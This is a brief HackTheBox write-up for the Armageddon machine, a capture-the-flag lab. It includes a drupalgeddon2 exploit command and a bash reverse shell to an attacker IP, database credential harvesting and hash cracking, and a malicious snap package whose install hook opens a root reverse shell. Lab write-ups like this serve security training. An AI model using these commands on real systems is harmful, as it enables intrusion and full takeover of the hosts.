Armageddon HackTheBox Writeup
Scanning
We run nmap on all ports with scripts and software versions.
Enumeration
We access the web resource, we find a website designed in Drupal (as we had previously seen in nmap).
We list the deployed version of Drupal, an attacker would manage to list public exploits to abuse vulnerabilities in this version.
Exploitation
Exploit: drupalgeddon2
PoC
Reverse shell code
python drupalgeddon2.py -h http://10.10.10.233 -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1'
We review the “settings.php” file and list the database credentials. This is highly recommended, as there is a possibility of password reuse.
So, we list the users and try the password, but it doesn’t work.
We dump the DDBB data and find the hash of the Drupal user “brucetherealadmin”.
Cracking hash
We crack the hash with john and rockyou dictionary and get the credentials in plain text.
We access by SSH and read the flag of “user.txt”.
Privilege Escalation
We run the command “sudo -l”, we see that we can install snaps as the root user.
We search for information on Google, we see that we can create a malicious snap package and run it as the user with elevated privileges.
PoC
Great, we could read the “root.txt” file directly, but we would not be squeezing the most out of the machine.
So, we’ll use the following lines to create a malicious snap package to give us a reverse shell on our kali.
COMMAND='bash -i >& /dev/tcp/10.10.14.15/555 0>&1'
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/bash\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n m3n0s -s dir -t snap -a all meta
We set up a python server on our kali and transfer the file with curl. Now we run snap with sudo, wait to receive our reverse shell as root and read the root flag.
